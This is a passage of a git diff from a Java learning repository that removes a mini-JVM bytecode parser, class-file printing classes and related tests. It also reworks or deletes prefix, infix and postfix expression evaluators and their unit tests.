-    public static final String iconst_0 = "03";
-    public static final String iconst_1 = "04";
-    public static final String istore_1 = "3C";
-    public static final String istore_2 = "3D";
-    public static final String iadd = "60";
-    public static final String iinc = "84";
-
-
-    private int index;
-
-    private final char[] data;
-
-    public CommandParser(String codes) {
-        if (StringUtils.isBlank(codes)) {
-            throw new RuntimeException("the orignal code is not correct!");
-        }
-        codes = codes.toUpperCase();
-        data = codes.toCharArray();
-    }
-
-    private char[] nextChars(int nextLength) {
-        char[] target = new char[nextLength];
-        System.arraycopy(data, index, target, 0, nextLength);
-        index = index + nextLength;
-        return target;
-    }
-
-    private int nextCharsToInt(int nextLength) {
-        return Integer.valueOf(String.valueOf(nextChars(nextLength)), 16).intValue();
-    }
-
-    private String nextCharsToString(int nextLength) {
-        return String.valueOf(nextChars(nextLength));
-    }
-
-    private boolean hasNext() {
-        return index < data.length;
-    }
-
-
-    public ByteCodeCommand[] parse(ClassFile clzFile) {
-
-        List<ByteCodeCommand> cmds = new ArrayList<>();
-
-        while (hasNext()) {
-            String opCode = nextCharsToString(2);
-
-            if (new_object.equals(opCode)) {
-                NewObjectCmd cmd = new NewObjectCmd(clzFile, opCode);
-
-                cmd.setOprand1(nextCharsToInt(2));
-                cmd.setOprand2(nextCharsToInt(2));
-
-                cmds.add(cmd);
-            } else if (invokespecial.equals(opCode)) {
-                InvokeSpecialCmd cmd = new InvokeSpecialCmd(clzFile, opCode);
-
-                cmd.setOprand1(nextCharsToInt(2));
-                cmd.setOprand2(nextCharsToInt(2));
-
-                cmds.add(cmd);
-            } else if (invokevirtual.equals(opCode)) {
-                InvokeSpecialCmd cmd = new InvokeSpecialCmd(clzFile, opCode);
-
-                cmd.setOprand1(nextCharsToInt(2));
-                cmd.setOprand2(nextCharsToInt(2));
-
-                cmds.add(cmd);
-            } else if (getfield.equals(opCode)) {
-                GetFieldCmd cmd = new GetFieldCmd(clzFile, opCode);
-                cmd.setOprand1(nextCharsToInt(2));
-                cmd.setOprand2(nextCharsToInt(2));
-
-                cmds.add(cmd);
-            } else if (getstatic.equals(opCode)) {
-                GetStaticFieldCmd cmd = new GetStaticFieldCmd(clzFile, opCode);
-
-                cmd.setOprand1(nextCharsToInt(2));
-                cmd.setOprand2(nextCharsToInt(2));
-
-                cmds.add(cmd);
-            } else if (putfield.equals(opCode)) {
-                PutFieldCmd cmd = new PutFieldCmd(clzFile, opCode);
-                cmd.setOprand1(nextCharsToInt(2));
-                cmd.setOprand2(nextCharsToInt(2));
-                cmds.add(cmd);
-            } else if (ldc.equals(opCode)) {
-                LdcCmd cmd = new LdcCmd(clzFile, opCode);
-                cmd.setOperand(nextCharsToInt(2));
-                cmds.add(cmd);
-            } else if (bipush.equals(opCode)) {
-                BiPushCmd cmd = new BiPushCmd(clzFile, opCode);
-                cmd.setOperand(nextCharsToInt(2));
-                cmds.add(cmd);
-            } else if (dup.equals(opCode) || aload_0.equals(opCode) || aload_1.equals(opCode) || aload_2.equals(opCode)
-                || iload_1.equals(opCode) || iload_2.equals(opCode) || iload_3.equals(opCode)
-                || fload_3.equals(opCode) || voidreturn.equals(opCode) || astore_1.equals(opCode)) {
-
-                NoOperandCmd cmd = new NoOperandCmd(clzFile, opCode);
-                cmds.add(cmd);
-            } else {
-                throw new RuntimeException("Sorry, the java instruction " + opCode + "has not been implement.");
-            }
-        }
-
-        calcuateOffset(cmds);
-
-        ByteCodeCommand[] result = new ByteCodeCommand[cmds.size()];
-        cmds.toArray(result);
-        return result;
-    }
-
-    private static void calcuateOffset(List<ByteCodeCommand> cmds) {
-
-        int offset = 0;
-        for (ByteCodeCommand cmd : cmds) {
-            cmd.setOffset(offset);
-            offset += cmd.getLength();
-        }
-
-    }
-
-    private static class CommandIterator {
-        String codes = null;
-        int pos = 0;
-
-        CommandIterator(String codes) {
-            this.codes = codes;
-        }
-
-        public boolean hasNext() {
-            return pos < this.codes.length();
-        }
-
-        public String next2CharAsString() {
-            String result = codes.substring(pos, pos + 2);
-            pos += 2;
-            return result;
-        }
-
-        public int next2CharAsInt() {
-            String s = this.next2CharAsString();
-            return Integer.valueOf(s, 16).intValue();
-        }
-
-    }
-}
diff --git a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/method/Method.java b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/method/Method.java
index 8c35d5aec5..9c3e9ad984 100644
--- a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/method/Method.java
+++ b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/method/Method.java
@@ -1,8 +1,6 @@
 package me.lzb.jvm.method;
 
 import me.lzb.jvm.attr.CodeAttr;
-import me.lzb.jvm.clz.ClassFile;
-import me.lzb.jvm.cmd.ByteCodeCommand;
 
 /**
  * Created by LZB on 2017/4/15.
@@ -14,11 +12,11 @@ public class Method {
 
     private CodeAttr codeAttr;
 
-    private ClassFile clzFile;
+//    private ClassFile clzFile;
 
 
-    public Method(ClassFile clzFile, int accessFlag, int nameIndex, int descriptorIndex) {
-        this.clzFile = clzFile;
+    public Method(/*ClassFile clzFile,*/ int accessFlag, int nameIndex, int descriptorIndex) {
+//        this.clzFile = clzFile;
         this.accessFlag = accessFlag;
         this.nameIndex = nameIndex;
         this.descriptorIndex = descriptorIndex;
@@ -57,15 +55,11 @@ public void setCodeAttr(CodeAttr codeAttr) {
         this.codeAttr = codeAttr;
     }
 
-    public ClassFile getClzFile() {
-        return clzFile;
-    }
-
-    public void setClzFile(ClassFile clzFile) {
-        this.clzFile = clzFile;
-    }
-
-    public ByteCodeCommand[] getCmds() {
-        return this.getCodeAttr().getCmds();
-    }
+//    public ClassFile getClzFile() {
+//        return clzFile;
+//    }
+//
+//    public void setClzFile(ClassFile clzFile) {
+//        this.clzFile = clzFile;
+//    }
 }
diff --git a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/print/ClassPrinter.java b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/print/ClassPrinter.java
deleted file mode 100644
index 0b1566669a..0000000000
--- a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/print/ClassPrinter.java
+++ /dev/null
@@ -1,36 +0,0 @@
-package me.lzb.jvm.print;
-
-import me.lzb.jvm.clz.ClassFile;
-import me.lzb.jvm.constant.ConstantInfo;
-import me.lzb.jvm.constant.ConstantPool;
-
-/**
- * Created by LZB on 2017/4/23.
- */
-public class ClassPrinter {
-
-    private ClassFile classFile;
-
-    private ConstantPool pool;
-
-    public ClassPrinter(ClassFile classFile) {
-        this.classFile = classFile;
-        this.pool = classFile.getConstantPool();
-    }
-
-
-    public void print() {
-        PrintVisitor visitor = new PrintFormat();
-
-        classFile.print(visitor);
-
-        System.out.println("Constant Pool:");
-
-        for (int i = 1; i <= pool.getSize(); i++) {
-            ConstantInfo constantInfo = pool.getConstantInfo(i);
-            System.out.print("#" + i + " = ");
-            constantInfo.print(visitor);
-        }
-    }
-
-}
diff --git a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/print/Print.java b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/print/Print.java
deleted file mode 100644
index 1435d46814..0000000000
--- a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/print/Print.java
+++ /dev/null
@@ -1,10 +0,0 @@
-package me.lzb.jvm.print;
-
-/**
- * Created by LZB on 2017/4/23.
- */
-public interface Print {
-
-    public void print(PrintVisitor visitor);
-
-}
diff --git a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/print/PrintFormat.java b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/print/PrintFormat.java
deleted file mode 100644
index 663496de8e..0000000000
--- a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/print/PrintFormat.java
+++ /dev/null
@@ -1,57 +0,0 @@
-package me.lzb.jvm.print;
-
-import me.lzb.jvm.clz.ClassFile;
-import me.lzb.jvm.constant.*;
-
-/**
- * Created by LZB on 2017/4/23.
- */
-public class PrintFormat implements PrintVisitor {
-
-
-    @Override
-    public void visitBasicMsg(ClassFile info) {
-        System.out.println("Access flag : " + info.getAccessFlag().getFlagString());
-
-        System.out.println("Class Name:" + info.getClassName());
-
-        System.out.println("Super Class Name:" + info.getSuperClassName());
-
-        System.out.println("minor version:" + info.getMinorVersion());
-
-        System.out.println("major version:" + info.getMajorVersion());
-
-        System.out.println();
-    }
-
-
-    @Override
-    public void visistUTF8(UTF8Info info) {
-        System.out.println("UTF8    " + info.getValue());
-    }
-
-    @Override
-    public void visitClassInfo(ClassInfo info) {
-        System.out.println("Class    #" + info.getUtf8Index() + "  " + info.getClassName());
-    }
-
-    @Override
-    public void visitFieldRef(FieldRefInfo info) {
-        System.out.println("FieldRef    #" + info.getClassInfoIndex() + ".#" + info.getNameAndTypeIndex());
-    }
-
-    @Override
-    public void visitMethodRef(MethodRefInfo info) {
-        System.out.println("MethodRef    #" + info.getClassInfoIndex() + ".#" + info.getNameAndTypeIndex());
-    }
-
-    @Override
-    public void visitNameAndType(NameAndTypeInfo info) {
-        System.out.println("NameAndType    #" + info.getIndex1() + ":#" + info.getIndex2());
-    }
-
-    @Override
-    public void visitString(StringInfo info) {
-        System.out.println("String    #" + info.getIndex());
-    }
-}
diff --git a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/print/PrintVisitor.java b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/print/PrintVisitor.java
deleted file mode 100644
index 6d846786bc..0000000000
--- a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/print/PrintVisitor.java
+++ /dev/null
@@ -1,23 +0,0 @@
-package me.lzb.jvm.print;
-
-import me.lzb.jvm.clz.ClassFile;
-import me.lzb.jvm.constant.*;
-
-/**
- * Created by LZB on 2017/4/23.
- */
-public interface PrintVisitor {
-    public void visitBasicMsg(ClassFile info);
-
-    public void visitClassInfo(ClassInfo info);
-
-    public void visitFieldRef(FieldRefInfo info);
-
-    public void visitMethodRef(MethodRefInfo info);
-
-    public void visitNameAndType(NameAndTypeInfo info);
-
-    public void visitString(StringInfo info);
-
-    public void visistUTF8(UTF8Info info);
-}
diff --git a/group24/1148285693/learning2017/mini-jvm/src/test/java/me/lzb/jvm/ClassFileloaderTest.java b/group24/1148285693/learning2017/mini-jvm/src/test/java/me/lzb/jvm/ClassFileloaderTest.java
index b4adbcf888..f41b313c97 100644
--- a/group24/1148285693/learning2017/mini-jvm/src/test/java/me/lzb/jvm/ClassFileloaderTest.java
+++ b/group24/1148285693/learning2017/mini-jvm/src/test/java/me/lzb/jvm/ClassFileloaderTest.java
@@ -3,15 +3,10 @@
 import me.lzb.common.utils.ByteUtils;
 import me.lzb.jvm.clz.ClassFile;
 import me.lzb.jvm.clz.ClassIndex;
-import me.lzb.jvm.cmd.BiPushCmd;
-import me.lzb.jvm.cmd.ByteCodeCommand;
-import me.lzb.jvm.cmd.OneOperandCmd;
-import me.lzb.jvm.cmd.TwoOperandCmd;
 import me.lzb.jvm.constant.*;
 import me.lzb.jvm.field.Field;
 import me.lzb.jvm.loader.ClassFileLoader;
 import me.lzb.jvm.method.Method;
-import me.lzb.jvm.print.ClassPrinter;
 import org.junit.After;
 import org.junit.Assert;
 import org.junit.Before;
@@ -25,11 +20,13 @@ public class ClassFileloaderTest {
 
 
     static String path1 = EmployeeV1.class.getResource("/").getPath();
+//    static String path1 = "D:\\code\\learning\\coding2017\\group24\\1148285693\\learning2017\\mini-jvm\\target\\test-classes\\";
     static String path2 = "C:\\temp";
 
     static String className = "me.lzb.jvm.EmployeeV1";
 
     private static final String FULL_QUALIFIED_CLASS_NAME = "me/lzb/jvm/EmployeeV1";
+//    private static final String FULL_QUALIFIED_CLASS_NAME = "com/coderising/jvm/test/EmployeeV1";
 
 
     @Before
@@ -46,8 +43,8 @@ public void testPath() {
 
         String s = EmployeeV1.class.getResource("/").getPath();
         String s2 = EmployeeV1.class.getResource("").getPath();
-//        System.out.println(s);
-//        System.out.println(s2);
+        System.out.println(s);
+        System.out.println(s2);
 
     }
 
@@ -269,88 +266,4 @@ private void assertMethodEquals(ConstantPool pool, Method m, String expectedName
         Assert.assertEquals(expectedCode, code);
     }
 
-    /**
-     * 第四次JVM
-     */
-
-
-    @Test
-    public void testByteCodeCommand() {
-        {
-            Method initMethod = this.clzFile.getMethod("<init>", "(Ljava/lang/String;I)V");
-            ByteCodeCommand[] cmds = initMethod.getCmds();
-
-            assertOpCodeEquals("0: aload_0", cmds[0]);
-            assertOpCodeEquals("1: invokespecial #1", cmds[1]);
-            assertOpCodeEquals("4: aload_0", cmds[2]);
-            assertOpCodeEquals("5: aload_1", cmds[3]);
-            assertOpCodeEquals("6: putfield #2", cmds[4]);
-            assertOpCodeEquals("9: aload_0", cmds[5]);
-            assertOpCodeEquals("10: iload_2", cmds[6]);
-            assertOpCodeEquals("11: putfield #3", cmds[7]);
-            assertOpCodeEquals("14: return", cmds[8]);
-        }
-
-        {
-            Method setNameMethod = this.clzFile.getMethod("setName", "(Ljava/lang/String;)V");
-            ByteCodeCommand[] cmds = setNameMethod.getCmds();
-
-            assertOpCodeEquals("0: aload_0", cmds[0]);
-            assertOpCodeEquals("1: aload_1", cmds[1]);
-            assertOpCodeEquals("2: putfield #2", cmds[2]);
-            assertOpCodeEquals("5: return", cmds[3]);
-
-        }
-
-        {
-            Method sayHelloMethod = this.clzFile.getMethod("sayHello", "()V");
-            ByteCodeCommand[] cmds = sayHelloMethod.getCmds();
-
-            assertOpCodeEquals("0: getstatic #4", cmds[0]);
-            assertOpCodeEquals("3: ldc #5", cmds[1]);
-            assertOpCodeEquals("5: invokevirtual #6", cmds[2]);
-            assertOpCodeEquals("8: return", cmds[3]);
-
-        }
-
-        {
-            Method mainMethod = this.clzFile.getMainMethod();
-
-            ByteCodeCommand[] cmds = mainMethod.getCmds();
-
-            assertOpCodeEquals("0: new #7", cmds[0]);
-            assertOpCodeEquals("3: dup", cmds[1]);
-            assertOpCodeEquals("4: ldc #8", cmds[2]);
-            assertOpCodeEquals("6: bipush 29", cmds[3]);
-            assertOpCodeEquals("8: invokespecial #9", cmds[4]);
-            assertOpCodeEquals("11: astore_1", cmds[5]);
-            assertOpCodeEquals("12: aload_1", cmds[6]);
-            assertOpCodeEquals("13: invokevirtual #10", cmds[7]);
-            assertOpCodeEquals("16: return", cmds[8]);
-        }
-
-    }
-
-    private void assertOpCodeEquals(String expected, ByteCodeCommand cmd) {
-
-        String acctual = cmd.getOffset() + ": " + cmd.getReadableCodeText();
-
-        if (cmd instanceof OneOperandCmd) {
-            if (cmd instanceof BiPushCmd) {
-                acctual += " " + ((OneOperandCmd) cmd).getOperand();
-            } else {
-                acctual += " #" + ((OneOperandCmd) cmd).getOperand();
-            }
-        }
-        if (cmd instanceof TwoOperandCmd) {
-            acctual += " #" + ((TwoOperandCmd) cmd).getIndex();
-        }
-        Assert.assertEquals(expected, acctual);
-    }
-
-    @Test
-    public void testPrint() {
-        ClassPrinter classPrinter = new ClassPrinter(clzFile);
-        classPrinter.print();
-    }
 }
diff --git a/group24/121111914/src/com/github/ipk2015/coding2017/basic/stack/expr/InfixExpr.java b/group24/121111914/src/com/github/ipk2015/coding2017/basic/stack/expr/InfixExpr.java
index 87344ca452..1e597a2b24 100644
--- a/group24/121111914/src/com/github/ipk2015/coding2017/basic/stack/expr/InfixExpr.java
+++ b/group24/121111914/src/com/github/ipk2015/coding2017/basic/stack/expr/InfixExpr.java
@@ -33,7 +33,7 @@ private void manageMultiAndDivOper(String[] elements,Stack numStack,Stack operSt
 					preElement = (Float)numStack.pop();
 					i++;
 					nextElement = Float.valueOf(elements[i]);
-					numStack.push(Token.doBaseOper(preElement,nextElement,elements[i-1]));
+					numStack.push(doBaseOper(preElement,nextElement,elements[i-1]));
 				}
 			}
 		}
@@ -42,12 +42,27 @@ private void manageMultiAndDivOper(String[] elements,Stack numStack,Stack operSt
 	private float manageAddAndMinusOper(Stack numStack,Stack operStack){
 		float result = 0f;;
 		while(!operStack.isEmpty()){
-			result = Token.doBaseOper(result,(Float)numStack.pop(),(String)operStack.pop());
+			result = doBaseOper(result,(Float)numStack.pop(),(String)operStack.pop());
 		}
 		result += (Float)numStack.pop();
 		return result;
 	}
 	
+	private float doBaseOper(float preData,float nextData,String oper){
+		switch(oper){
+			case "+":
+				return preData+nextData;
+			case "-":
+				return preData-nextData;
+			case "*":
+				return preData*nextData;
+			case "/":
+				return preData/nextData;
+			default:
+				throw new RuntimeException("could not recognise oper:"+oper);
+		}
+	}
+	
 	public String[] getElementArray(String expression){
 		char[] charArray = expression.toCharArray();
 		StringBuffer stringBuffer = new StringBuffer();
diff --git a/group24/121111914/src/com/github/ipk2015/coding2017/basic/stack/expr/InfixToPostfix.java b/group24/121111914/src/com/github/ipk2015/coding2017/basic/stack/expr/InfixToPostfix.java
deleted file mode 100644
index d444fef039..0000000000
--- a/group24/121111914/src/com/github/ipk2015/coding2017/basic/stack/expr/InfixToPostfix.java
+++ /dev/null
@@ -1,67 +0,0 @@
-package com.github.ipk2015.coding2017.basic.stack.expr;
-
-
-
-import java.util.ArrayList;
-import java.util.Iterator;
-import java.util.List;
-import java.util.Stack;
-
-public class InfixToPostfix {
-	
-	public static List<Token> convert(String expr) {
-		int len = expr.length();
-		char c,temp;
-		Stack stack = new Stack();
-		StringBuffer buffer = new StringBuffer();
-		for(int i = 0;i<len;i++){
-			c = expr.charAt(i);
-			if(Character.isDigit(c)){
-				buffer.append(c);   //数字字符直接放进buffer里
-			}else{
-				buffer.append(" ");
-				if('(' == c){
-					stack.push(c);  // ( 时先放进字符栈里
-				}else if(')' == c){	// ) 时将栈里到上一个(之间的字符全部压出到buffer里
-					temp = (Character)stack.pop();
-					while(temp!='('){
-						buffer.append(temp);
-						temp = (Character)stack.pop();
-					};
-				}else{		//四个运算符时,
-					while(!shouldPush(c,stack)){
-						buffer.append((Character)stack.pop());
-					}
-					stack.push(c);
-				}
-			}
-		}
-		while(!stack.isEmpty()){
-			buffer.append((Character)stack.pop());
-		}
-		TokenParser parser = new TokenParser();
-		return parser.parse(buffer.toString());
-	}
-	/*
-	 * 比较该运算符与临时栈栈顶指针的运算符的优先级，如果临时栈栈顶指针的优先级大于等于该运算符的优先级，
-	 * 弹出并添加到后缀表达式中，反复执行前面的比较工作，直到遇到一个栈顶指针的优先级低于该运算符的优先级，
-	 * 停止弹出添加并把该运算符压入栈中。
-	 * 此时的比较过程如果出现栈顶的指针为‘（’，则停止循环并把该运算符压入栈中
-	 * 
-	 */
-	private static boolean shouldPush(char c,Stack stack){
-		if(stack.isEmpty()){
-			return true;
-		}
-		char peek = (Character)stack.peek();
-		if(peek == '('){
-			return true;
-		}
-		if((c == '*' || c == '/') && (peek == '+' || peek == '-')){
-			return true;
-		}
-		return false;
-	}
-	
-
-}
diff --git a/group24/121111914/src/com/github/ipk2015/coding2017/basic/stack/expr/InfixToPostfixTest.java b/group24/121111914/src/com/github/ipk2015/coding2017/basic/stack/expr/InfixToPostfixTest.java
deleted file mode 100644
index 972eef9fe5..0000000000
--- a/group24/121111914/src/com/github/ipk2015/coding2017/basic/stack/expr/InfixToPostfixTest.java
+++ /dev/null
@@ -1,32 +0,0 @@
-package com.github.ipk2015.coding2017.basic.stack.expr;
-
-import static org.junit.Assert.*;
-
-import java.util.List;
-
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-public class InfixToPostfixTest {
-
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@Test
-	public void testConvert() {
-		List<Token> tokens  = InfixToPostfix.convert("3+(2-5)*6/3");
-		
-		Assert.assertEquals(3, tokens.get(0).getIntValue());
-		Assert.assertEquals(2, tokens.get(1).getIntValue());
-		Assert.assertEquals(5, tokens.get(2).getIntValue());
-		Assert.assertEquals("-", tokens.get(3).toString());
-		Assert.assertEquals(6, tokens.get(4).getIntValue());
-		Assert.assertEquals("*", tokens.get(5).toString());
-		Assert.assertEquals(3, tokens.get(6).getIntValue());
-		Assert.assertEquals("/", tokens.get(7).toString());
-		Assert.assertEquals("+", tokens.get(8).toString());
-	}
-
-}
diff --git a/group24/121111914/src/com/github/ipk2015/coding2017/basic/stack/expr/PostfixExpr.java b/group24/121111914/src/com/github/ipk2015/coding2017/basic/stack/expr/PostfixExpr.java
deleted file mode 100644
index af427fa948..0000000000
--- a/group24/121111914/src/com/github/ipk2015/coding2017/basic/stack/expr/PostfixExpr.java
+++ /dev/null
@@ -1,35 +0,0 @@
-package com.github.ipk2015.coding2017.basic.stack.expr;
-
-import java.util.List;
-import java.util.Stack;
-
-public class PostfixExpr {
-String expr = null;
-	
-	public PostfixExpr(String expr) {
-		this.expr = expr;
-	}
-
-	public float evaluate() {
-		TokenParser parser = new TokenParser();
-		List<Token> list = parser.parse(expr);
-		
-		Stack stack = new Stack();
-		int len = list.size();
-		float preNum,afterNum;
-		Token token;
-		for(int i = 0;i<len;i++){
-			token = list.get(i);
-			if(token.isNumber()){
-				stack.push(Float.valueOf(token.toString()));
-			}else{
-				afterNum = (Float)stack.pop();
-				preNum = (Float)stack.pop();
-				stack.push(Token.doBaseOper(preNum, afterNum, token.toString()));
-			}
-		}
-		return (Float)stack.pop();
-	}
-	
-	
-}
diff --git a/group24/121111914/src/com/github/ipk2015/coding2017/basic/stack/expr/PostfixExprTest.java b/group24/121111914/src/com/github/ipk2015/coding2017/basic/stack/expr/PostfixExprTest.java
deleted file mode 100644
index 8b2bbc1f42..0000000000
--- a/group24/121111914/src/com/github/ipk2015/coding2017/basic/stack/expr/PostfixExprTest.java
+++ /dev/null
@@ -1,41 +0,0 @@
-package com.github.ipk2015.coding2017.basic.stack.expr;
-
-
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-
-
-public class PostfixExprTest {
-
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void testEvaluate() {
-		{
-			PostfixExpr expr = new PostfixExpr("6 5 2 3 + 8 * + 3 + *");
-			Assert.assertEquals(288, expr.evaluate(),0.0f);
-		}
-		{
-			//9+(3-1)*3+10/2
-			PostfixExpr expr = new PostfixExpr("9 3 1-3*+ 10 2/+");
-			Assert.assertEquals(20, expr.evaluate(),0.0f);
-		}
-		
-		{
-			//10-2*3+50
-			PostfixExpr expr = new PostfixExpr("10 2 3 * - 50 +");
-			Assert.assertEquals(54, expr.evaluate(),0.0f);
-		}
-	}
-
-}
diff --git a/group24/121111914/src/com/github/ipk2015/coding2017/basic/stack/expr/PrefixExpr.java b/group24/121111914/src/com/github/ipk2015/coding2017/basic/stack/expr/PrefixExpr.java
deleted file mode 100644
index b978cd2bf1..0000000000
--- a/group24/121111914/src/com/github/ipk2015/coding2017/basic/stack/expr/PrefixExpr.java
+++ /dev/null
@@ -1,36 +0,0 @@
-package com.github.ipk2015.coding2017.basic.stack.expr;
-
-import java.util.Iterator;
-import java.util.List;
-import java.util.Stack;
-
-public class PrefixExpr {
-	String expr = null;
-	
-	public PrefixExpr(String expr) {
-		this.expr = expr;
-	}
-
-	public float evaluate() {
-		TokenParser parser = new TokenParser();
-		List<Token> list = parser.parse(expr);
-		
-		Stack stack = new Stack();
-		int len = list.size();
-		float preNum,afterNum;
-		Token token;
-		for(int i = 0;i<len;i++){
-			token = list.get(len-i-1);
-			if(token.isNumber()){
-				stack.push(Float.valueOf(token.toString()));
-			}else{
-				preNum = (Float)stack.pop();
-				afterNum = (Float)stack.pop();
-				stack.push(Token.doBaseOper(preNum, afterNum, token.toString()));
-			}
-		}
-		return (Float)stack.pop();
-	}
-	
-	
-}
diff --git a/group24/121111914/src/com/github/ipk2015/coding2017/basic/stack/expr/PrefixExprTest.java b/group24/121111914/src/com/github/ipk2015/coding2017/basic/stack/expr/PrefixExprTest.java
deleted file mode 100644
index a922cf8191..0000000000
--- a/group24/121111914/src/com/github/ipk2015/coding2017/basic/stack/expr/PrefixExprTest.java
+++ /dev/null
@@ -1,44 +0,0 @@
-package com.github.ipk2015.coding2017.basic.stack.expr;
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-
-public class PrefixExprTest {
-
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void testEvaluate() {
-		{
-			// 2*3+4*5 
-			PrefixExpr expr = new PrefixExpr("+ * 2 3* 4 5");
-			Assert.assertEquals(26, expr.evaluate(),0.001f);
-		}
-		{
-			// 4*2 + 6+9*2/3 -8
-			PrefixExpr expr = new PrefixExpr("-++6/*2 9 3 * 4 2 8");
-			Assert.assertEquals(12, expr.evaluate(),0.001f);
-		}
-		{
-			//(3+4)*5-6
-			PrefixExpr expr = new PrefixExpr("- * + 3 4 5 6");
-			Assert.assertEquals(29, expr.evaluate(),0.001f);
-		}
-		{
-			//1+((2+3)*4)-5
-			PrefixExpr expr = new PrefixExpr("- + 1 * + 2 3 4 5");
-			Assert.assertEquals(16, expr.evaluate(),0.001f);
-		}
-		
-		
-	}
-
-}
diff --git a/group24/121111914/src/com/github/ipk2015/coding2017/basic/stack/expr/Token.java b/group24/121111914/src/com/github/ipk2015/coding2017/basic/stack/expr/Token.java
deleted file mode 100644
index 3d8d773c79..0000000000
--- a/group24/121111914/src/com/github/ipk2015/coding2017/basic/stack/expr/Token.java
+++ /dev/null
@@ -1,64 +0,0 @@
-package com.github.ipk2015.coding2017.basic.stack.expr;
-
-import java.util.Arrays;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
-
-class Token {
-	public static final List<String> OPERATORS = Arrays.asList("+", "-", "*", "/");
-	private static final Map<String,Integer> priorities = new HashMap<>();
-	static {
-		priorities.put("+", 1);
-		priorities.put("-", 1);
-		priorities.put("*", 2);
-		priorities.put("/", 2);
-	}
-	static final int OPERATOR = 1;
-	static final int NUMBER = 2;
-	String value;
-	int type;
-	public Token(int type, String value){
-		this.type = type;
-		this.value = value;
-	}		
-
-	public boolean isNumber() {
-		return type == NUMBER;
-	}
-
-	public boolean isOperator() {
-		return type == OPERATOR;
-	}
-
-	public int getIntValue() {
-		return Integer.valueOf(value).intValue();
-	}
-	public String toString(){
-		return value;
-	}
-	
-	public boolean hasHigherPriority(Token t){
-		if(!this.isOperator() && !t.isOperator()){
-			throw new RuntimeException("numbers can't compare priority");
-		}
-		return priorities.get(this.value) - priorities.get(t.value) > 0;
-	}
-	
-	public static float doBaseOper(float preData,float nextData,String oper){
-		switch(oper){
-			case "+":
-				return preData+nextData;
-			case "-":
-				return preData-nextData;
-			case "*":
-				return preData*nextData;
-			case "/":
-				return preData/nextData;
-			default:
-				throw new RuntimeException("could not recognise oper:"+oper);
-		}
-	}
-	
-
-}
\ No newline at end of file
diff --git a/group24/121111914/src/com/github/ipk2015/coding2017/basic/stack/expr/TokenParser.java b/group24/121111914/src/com/github/ipk2015/coding2017/basic/stack/expr/TokenParser.java
deleted file mode 100644
index 998d1e4c8e..0000000000
--- a/group24/121111914/src/com/github/ipk2015/coding2017/basic/stack/expr/TokenParser.java
+++ /dev/null
@@ -1,57 +0,0 @@
-package com.github.ipk2015.coding2017.basic.stack.expr;
-
-import java.util.ArrayList;
-import java.util.List;
-
-public class TokenParser {
-	
-	
-	public  List<Token> parse(String expr) {
-		List<Token> tokens = new ArrayList<>();
-
-		int i = 0;
-
-		while (i < expr.length()) {
-
-			char c = expr.charAt(i);
-
-			if (isOperator(c)) {
-
-				Token t = new Token(Token.OPERATOR, String.valueOf(c));
-				tokens.add(t);
-				i++;
-
-			} else if (Character.isDigit(c)) {
-
-				int nextOperatorIndex = indexOfNextOperator(i, expr);
-				String value = expr.substring(i, nextOperatorIndex);
-				Token t = new Token(Token.NUMBER, value);
-				tokens.add(t);
-				i = nextOperatorIndex;
-
-			} else{
-				System.out.println("char :["+c+"] is not number or operator,ignore");
-				i++;
-			}
-
-		}
-		return tokens;
-	}
-
-	private  int indexOfNextOperator(int i, String expr) {
-
-		while (Character.isDigit(expr.charAt(i))) {
-			i++;
-			if (i == expr.length()) {
-				break;
-			}
-		}
-		return i;
-
-	}
-
-	private  boolean isOperator(char c) {
-		String sc = String.valueOf(c);
-		return Token.OPERATORS.contains(sc);
-	}
-}
diff --git a/group24/121111914/src/com/github/ipk2015/coding2017/basic/stack/expr/TokenParserTest.java b/group24/121111914/src/com/github/ipk2015/coding2017/basic/stack/expr/TokenParserTest.java
deleted file mode 100644
index 2543baec60..0000000000
--- a/group24/121111914/src/com/github/ipk2015/coding2017/basic/stack/expr/TokenParserTest.java
+++ /dev/null
@@ -1,41 +0,0 @@
-package com.github.ipk2015.coding2017.basic.stack.expr;
-
-import static org.junit.Assert.*;
-
-import java.util.List;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-public class TokenParserTest {
-
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void test() {
-		
-		TokenParser parser = new TokenParser();
-		List<Token> tokens  = parser.parse("300*20+12*5-20/4");
-		
-		Assert.assertEquals(300, tokens.get(0).getIntValue());
-		Assert.assertEquals("*", tokens.get(1).toString());
-		Assert.assertEquals(20, tokens.get(2).getIntValue());
-		Assert.assertEquals("+", tokens.get(3).toString());
-		Assert.assertEquals(12, tokens.get(4).getIntValue());
-		Assert.assertEquals("*", tokens.get(5).toString());
-		Assert.assertEquals(5, tokens.get(6).getIntValue());
-		Assert.assertEquals("-", tokens.get(7).toString());
-		Assert.assertEquals(20, tokens.get(8).getIntValue());
